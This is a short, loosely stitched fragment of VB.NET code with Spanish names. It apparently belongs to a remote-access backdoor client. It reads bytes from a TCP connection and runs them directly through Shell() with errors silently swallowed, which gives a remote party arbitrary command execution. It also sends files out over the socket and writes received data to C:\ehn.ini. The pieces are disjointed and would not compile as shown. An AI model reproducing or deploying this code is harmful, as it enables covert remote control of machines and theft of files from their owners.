If tcpClient.Client.Connected = False Then
            Call iniciar_sockets()
        Else
            While (netStream.DataAvailable = True)
                Try
                    If netStream.CanRead = True Then
                        Dim bytes(100024) As Byte
                        netStream.Read(bytes, 0, bytes.Length)
                        Dim returndata As String = Encoding.ASCII.GetString(bytes)
                        Try
                            Shell(returndata)
                        Catch ex As Exception
                        End Try
                    Else
                        tcpClient.Close()
                        ' Closing the tcpClient instance does not close the network stream.
                        netStream.Close()
                        Return
                    End If
                Catch ex As Exception

                End Try
            End While
        End If

Private sub enviar_archivos(Byval archivo As String)
Try
sendfile(archivo)
Msgbox("Archivo enviado")
Catch ex As Exception
Msgbox(ex.message.tostring())
End try
End Sub

tcpclient.client.sendfile("ruta_del_fichero")

 Dim fs As New FileStream("C:\ehn.ini", FileMode.OpenOrCreate, FileAccess.Write, FileShare.Write, 100024)
                        fs.Write(bytes, 0, bytes.Length)
                        fs.Close()